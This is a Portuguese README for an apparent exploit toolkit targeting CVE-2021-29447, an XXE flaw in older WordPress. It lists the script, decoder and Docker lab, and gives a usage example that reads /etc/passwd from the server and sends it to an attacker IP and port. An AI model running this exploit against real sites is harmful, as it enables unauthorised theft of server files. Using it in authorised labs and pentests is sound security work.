
Exploit para CVE-2021-29447, uma vulnerabilidade XXE no WordPress 5.7.0 e anteriores. Gera payloads WAV maliciosos para ler arquivos arbitrários do servidor via injeção de entidade externa XML. Inclui ambiente de teste Docker.
Este repositório contém um exploit para CVE-2021-29447, uma vulnerabilidade de XXE (XML External Entity) presente no WordPress 5.7.0 e versões anteriores. A vulnerabilidade existe na biblioteca multimídia que processa arquivos WAV, permitindo a um atacante ler arquivos arbitrários do servidor.
| Arquivo | Descrição |
|---|---|
CVE-2021-29447.sh | Script de exploração que gera o payload WAV e arquivo DTD malicioso |
decode.php | Script PHP para decodificar dados exfiltrados (base64 + zlib) |
docker-compose.yml | Ambiente Docker com WordPress vulnerável para testes |
docker-compose up -d
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <arquivo_objetivo>
Parâmetros:
-l IP do atacante (LHOST)-p Porta do atacante (LPORT)-f Caminho do arquivo a ler no servidor-h Mostrar ajudaExemplo:
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd
Os dados exfiltrados virão codificados em base64 e comprimidos com zlib. Para decodificá-los:
php decode.php
O exploit funciona inserindo uma entidade externa XXE nos metadados de um arquivo WAV. Quando o WordPress processa o arquivo, o parser XML resolve a entidade externa, fazendo com que o servidor faça uma requisição HTTP ao servidor do atacante com o conteúdo do arquivo codificado na URL.
Este código é apenas para fins educacionais e de testes de penetração autorizados. Não utilize em sistemas sem autorização explícita.